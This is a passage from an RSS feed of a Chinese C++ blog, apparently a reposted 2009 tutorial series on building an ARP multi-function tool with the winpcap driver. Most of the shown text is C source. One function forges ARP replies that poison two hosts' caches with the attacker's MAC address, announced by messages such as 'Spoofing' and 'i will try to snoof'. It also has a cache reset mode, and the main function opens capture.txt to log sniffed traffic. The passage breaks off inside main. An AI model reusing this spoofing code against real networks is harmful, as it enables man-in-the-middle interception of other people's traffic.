ws2_32.lib&#8220;。<span class=Apple-converted-space> </span><br>增加预编译信息：<span class=Apple-converted-space> </span><br>Project&#8594;Settings&#8594;C/C++&#8594;Preprocessor definitions，在文本框的末尾添加&#8221;WPCAP,HAVE_REMOTE&#8220;。</span></span>
<img src ="http://www.cppblog.com/binghuo/aggbug/76071.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:09 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具三(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:07:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76070.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76070.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76070.html</trackback:ping><description><![CDATA[<font size=2>DWORD WINAPI sendSR(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; fun=*(int *)no;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; j,k;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; struct&nbsp; sockaddr_in&nbsp; fsin,ssin;<br>&nbsp;&nbsp;&nbsp; BOOL&nbsp;&nbsp;&nbsp; stimes=FALSE;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp;&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR&nbsp; arp;</font>
<p><font size=2>&nbsp;&nbsp;&nbsp; fsin.sin_addr.s_addr=htonl(firstip);<br>&nbsp;&nbsp;&nbsp; ssin.sin_addr.s_addr=htonl(secondip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REPLY);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; if(fun==3)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(mm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((firstip==myip) &amp;&amp; (secondip==myip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!fm || !sm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;2;j++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(j==0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nSpoofing %.16s :&nbsp; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(j==1)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Spoofing %.16s :&nbsp; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",mmac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",mmac[5]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\ni will try to snoof ...\n\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else if(fun==4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(mm) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((firstip==myip) &amp;&amp; (secondip==myip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!fm || !sm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nReset %.16s :&nbsp; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",smac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",smac[5]);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Reset %.16s :&nbsp; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",fmac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n\n",fmac[5]);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; do<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_dst,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_tha,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(secondip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!stimes)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSetNumWrites(lpadapter,2)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to send a packet 2 times\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);&nbsp; </font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_dst,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_tha,smac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(secondip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(firstip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!stimes)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,fmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<font size=2>
<p><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);<br>&nbsp;&nbsp;&nbsp; }while(stimes);</p>
<p>&nbsp;&nbsp;&nbsp; if(fun==4)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Reset Successfully");</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>int main(int argc,char *argv[])<br>{<br>&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp; sthread,rthread;<br>&nbsp;&nbsp;&nbsp; WCHAR&nbsp;&nbsp;&nbsp; adaptername[8192];<br>&nbsp;&nbsp;&nbsp; WCHAR&nbsp;&nbsp;&nbsp; *name1,*name2;<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp;&nbsp;&nbsp; adapterlength;<br>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp;&nbsp; threadsid,threadrid;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; NetType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ntype;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; bpf_stat&nbsp;&nbsp;&nbsp;&nbsp; stat;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; sockaddr_in&nbsp; sin;<br>&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp; npf_if_addr&nbsp; ipbuff;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adapternum=0,opti=0,open,i,total;<br>&nbsp;&nbsp;&nbsp; long&nbsp;&nbsp;&nbsp;&nbsp; npflen;</p>
<p>&nbsp;&nbsp;&nbsp; system("cls.exe");<br>&nbsp;&nbsp;&nbsp; start();</p>
<p>&nbsp;&nbsp;&nbsp; if(argc!=4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usage();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getche();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!strcmp(argv[1],"-m"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-a"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-s"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=3;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((fp=fopen("capture.txt","w+"))==NULL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Open capture.txt Error: %d\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("T-ARP Captrue Data",20,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 